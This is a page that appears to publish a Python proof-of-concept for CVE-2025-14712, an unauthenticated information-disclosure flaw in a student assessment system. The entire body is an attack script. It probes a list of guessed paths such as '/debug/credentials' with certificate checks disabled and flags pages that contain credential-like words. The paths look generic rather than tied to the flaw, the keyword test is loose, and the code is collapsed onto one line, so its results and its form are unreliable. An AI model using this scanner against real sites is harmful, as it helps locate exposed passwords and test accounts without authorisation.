CVE-2025-14712 | 学生学习评估系统敏感信息泄露漏洞

import requests # CVE-2025-14712 PoC - Student Learning Assessment System Information Disclosure # Target: Student Learning Assessment and Support System by JHENG GAO # Vulnerability: Unauthenticated access to sensitive page exposing test accounts def check_vulnerability(target_url): """ Check if the target system is vulnerable to CVE-2025-14712 """ # Common paths that may expose sensitive information sensitive_paths = [ '/admin/test_accounts', '/test/accounts', '/debug/credentials', '/api/test_users', '/backup/accounts', '/system/test_accounts.php', '/admin/userlist', '/debug.php' ] print(f"[*] Scanning target: {target_url}") print(f"[*] CVE-2025-14712 - Sensitive Information Disclosure") for path in sensitive_paths: url = target_url.rstrip('/') + path try: response = requests.get(url, timeout=10, verify=False) # Check for indicators of exposed credentials if response.status_code == 200: content = response.text.lower() if any(indicator in content for indicator in ['password', 'username', 'account', 'credential', 'pwd', 'user']): print(f"[+] VULNERABLE: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.content)}") return True except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") print("[-] No vulnerable endpoints found") return False # Usage example if __name__ == "__main__": import sys if len(sys.argv) > 1: check_vulnerability(sys.argv[1]) else: print("Usage: python cve-2025-14712.py <target_url>")